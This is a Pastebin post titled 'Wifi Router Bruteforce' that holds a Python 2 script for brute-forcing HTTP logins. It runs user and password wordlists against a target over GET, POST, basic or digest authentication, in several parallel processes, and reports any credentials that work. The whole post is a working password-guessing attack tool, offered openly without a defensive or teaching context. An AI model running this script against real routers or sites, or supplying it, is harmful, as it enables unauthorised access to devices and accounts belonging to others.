Advertisement
indexnotfound

Wifi Router Bruteforce

Mar 27th, 2019
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.11 KB | None | 0 0
  1. import os
  2. import requests
  3. import sys
  4. import threading
  5. import time
  6. import multiprocessing
  7. import signal
  8. sys.tracebacklimit = 0
  9. global fork
  10. if len(sys.argv[1:]) != 1:
  11.     print ("Usage: python brutehttp.py [target]")
  12.     sys.exit(0)
  13. target = sys.argv[1]
  14. bad_login = raw_input('Bad login word (Press enter to analyze html): ')
  15. if len(bad_login) == 0:
  16.     r = requests.get(target, auth=("nick","passwd"))
  17.     print (r.text)
  18.     sys.exit(0)
  19. users = open(raw_input('Users wordlist: '))
  20. wl_pass = raw_input('Passwords wordlist: ')
  21. default_username = "username"
  22. default_password = "password"
  23. req_default = "1"
  24. username = raw_input('Param1 (Default: %s): ' % default_username)
  25. if len(username) == 0:
  26.     username = default_username
  27. password = raw_input('Param2 (Default: %s): ' % default_password)
  28. if len(password) == 0:
  29.     password = default_password
  30.  
  31. req = raw_input('Request > 1.GET (default), 2.POST, 3.Auth, 4.Digest: ')
  32. if len(req) == 0:
  33.     req = req_default
  34. threads = int(raw_input('Threads: '))
  35.  
  36. def get(target, payload, user, passwd):
  37.     print('Trying user:',user,'and password:',passwd)
  38.     r = requests.get(target, data = payload)
  39.     r2 = r.text
  40.     if bad_login not in r2:
  41.         print('''Found! User: {user} Password: {passwd}'''
  42.         .format(user=user,passwd=passwd))
  43.         fork = os.fork()
  44.         os.kill(fork, signal.SIGINT)
  45.  
  46. def post(target, payload, user, passwd):
  47.     print('Trying user:',user,'and password:',passwd)
  48.     r = requests.post(target, data = payload)
  49.     r2 = r.text
  50.     if bad_login not in r2:
  51.         print('''Found! User: {user} Password: {passwd}'''
  52.         .format(user=user,passwd=passwd))
  53.         fork = os.fork()
  54.         os.kill(fork, signal.SIGINT)
  55.  
  56. def auth(target, user, passwd):
  57.     print('Trying user:',user,'and password:',passwd)
  58.     login = requests.get(target, auth=(user,passwd))
  59.     if login.status_code == 200:
  60.         print('''Found! User: {user} Password: {passwd}'''
  61.         .format(user=user,passwd=passwd))
  62.         fork = os.fork()
  63.         os.kill(fork, signal.SIGINT)
  64.  
  65. def digest(target, user, passwd):
  66.     print('Trying user:',user,'and password:',passwd)
  67.     from requests.auth import HTTPDigestAuth
  68.     login = requests.get(target, auth=HTTPDigestAuth(user,passwd))
  69.     if login.status_code == 200:
  70.         print('''Found! User: {user} Password: {passwd}'''
  71.         .format(user=user,passwd=passwd))
  72.         fork = os.fork()
  73.         os.kill(fork, signal.SIGINT)
  74.  
  75. def main():
  76.     try:
  77.         for user in users:
  78.             passwds = open(wl_pass)
  79.             for passwd in passwds:
  80.                 user = user.rstrip()
  81.                 passwd = passwd.rstrip()
  82.                 payload = {username: user, password : passwd}
  83.  
  84.                 if req == '1':
  85.                     fork = multiprocessing.Process(target=get, args=(target, payload, user, passwd))
  86.                     fork.start()
  87.  
  88.                     while len(multiprocessing.active_children()) >= threads:
  89.                         time.sleep(0.001)
  90.                     time.sleep(0.001)
  91.  
  92.                 elif req == '2':
  93.                     fork = multiprocessing.Process(target=post, args=(target, payload, user, passwd))
  94.                     fork.start()
  95.  
  96.                     while len(multiprocessing.active_children()) >= threads:
  97.                         time.sleep(0.001)
  98.                     time.sleep(0.001)
  99.                
  100.                 elif req == '3':
  101.                     fork = multiprocessing.Process(target=auth, args=(target, user, passwd))
  102.                     fork.start()
  103.  
  104.                     while len(multiprocessing.active_children()) >= threads:
  105.                         time.sleep(0.001)
  106.                     time.sleep(0.001)
  107.                
  108.                 elif req == '4':
  109.                     fork = multiprocessing.Process(target=digest, args=(target, user, passwd))
  110.                     fork.start()
  111.  
  112.                     while len(multiprocessing.active_children()) >= threads:
  113.                         time.sleep(0.001)
  114.                     time.sleep(0.001)
  115.  
  116.     except:
  117.         sys.exit(0)
  118.                
  119. if __name__ == '__main__':
  120.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement